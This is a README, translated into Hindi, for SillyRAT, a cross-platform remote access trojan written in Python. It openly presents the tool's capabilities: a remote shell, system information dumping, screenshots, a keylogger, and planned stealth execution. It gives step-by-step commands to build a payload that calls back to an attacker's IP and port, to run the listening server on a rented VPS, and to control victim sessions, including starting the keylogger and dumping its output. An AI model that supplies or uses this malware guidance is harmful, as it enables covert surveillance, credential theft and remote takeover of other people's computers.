SillyRAT

एक क्रॉस-प्लेटफ़ॉर्म बहुक्रियाशील (Windows/Linux/Mac) RAT.

आरंभ करना

विवरण

शुद्ध Python में लिखित एक क्रॉस-प्लेटफ़ॉर्म RAT। RAT कमांड के साथ आर्गुमेंट स्वीकार करता है ताकि यह या तो सर्वर के रूप में कार्य करे जो कनेक्शन स्वीकार करता है या क्लाइंट/लक्ष्य के रूप में जो सर्वर से कनेक्शन स्थापित करता है। generate कमांड pyinstaller मॉड्यूल का उपयोग करके वास्तविक पेलोड कोड को संकलित करता है। इसलिए, अपने संबंधित प्लेटफ़ॉर्म के लिए पेलोड फ़ाइल उत्पन्न करने के लिए, आपको फ़ाइल उत्पन्न करते समय उसी प्लेटफ़ॉर्म पर होना आवश्यक है। इसके अलावा, आप स्रोत फ़ाइल भी सीधे प्राप्त कर सकते हैं।

विशेषताएँ

• कमांड निष्पादन के लिए अंतर्निहित शेल
• ड्राइव और रैम सहित सिस्टम जानकारी डंप करना
• स्क्रीनशॉट मॉड्यूल। क्लाइंट स्क्रीन का स्क्रीनशॉट कैप्चर करता है।
• कनेक्शन लूप (सर्वर से कनेक्ट होने पर जारी रहेगा)
• वर्तमान में, यह BASE64 एन्कोडिंग का उपयोग करता है।
• शुद्ध Python
• क्रॉस-प्लेटफ़ॉर्म। (Linux पर परीक्षण किया गया। त्रुटियाँ स्वीकार्य हैं)
• परीक्षण के लिए स्रोत फ़ाइल शामिल
• Python 3

भविष्य में अपेक्षित

• स्टील्थ निष्पादन
• एन्क्रिप्शन
• पिछले प्रयास से सत्र संग्रहीत करना
• जब कोई क्लाइंट कनेक्ट होता है तो सूचनाएँ भेजना

स्थापना

इस उपकरण का परीक्षण Parrot OS पर Python 3.8 के साथ किया गया है। स्थापना के लिए इन चरणों का पालन करें:

$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt

दस्तावेज़ीकरण

पेलोड उत्पन्न करना

आप पेलोड फ़ाइल दो तरीकों से प्राप्त कर सकते हैं:

• स्रोत फ़ाइल
• संकलित फ़ाइल

$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source

संकलित संस्करण को संबंधित प्लेटफ़ॉर्म पर उत्पन्न करना होता है। उदाहरण के लिए, आप Linux पर .exe फ़ाइल उत्पन्न नहीं कर सकते। आपको विशेष रूप से Windows पर होना होगा। उपकरण अभी भी परीक्षण के अंतर्गत है। इसलिए, सभी प्रकार की त्रुटियाँ स्वीकार्य हैं। हालाँकि, एक issue खोलना सुनिश्चित करें। Linux के लिए संकलित संस्करण उत्पन्न करना:

$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

ऊपर दिए गए कमांड में अपना IP पता और पोर्ट बदलें।

सर्वर चलाना

सर्वर को Linux पर निष्पादित किया जाना चाहिए। आप कनेक्शन के लिए VPS या क्लाउड सर्वर खरीद सकते हैं। रिकॉर्ड के लिए, सर्वर पिछले रन से कोई सत्र संग्रहीत नहीं करता है। इसलिए, एक बार सर्वर एप्लिकेशन समाप्त होने पर सभी प्रगति खो जाएगी। अपना सर्वर चलाना:

$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999

कनेक्शन

सभी कनेक्शन sessions कमांड के अंतर्गत सूचीबद्ध होंगे:

$ sessions

आप connect कमांड से अपने लक्ष्य सत्र से जुड़ सकते हैं और उपलब्ध कमांड में से एक लॉन्च कर सकते हैं:

$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

सहायता

उपलब्ध कमांड की सूची प्राप्त करें:

$ help

किसी विशिष्ट कमांड पर सहायता:

$ help COMMAND

समर्थन

Twitter: @hash3liZer
Discord: TheFlash2k#0407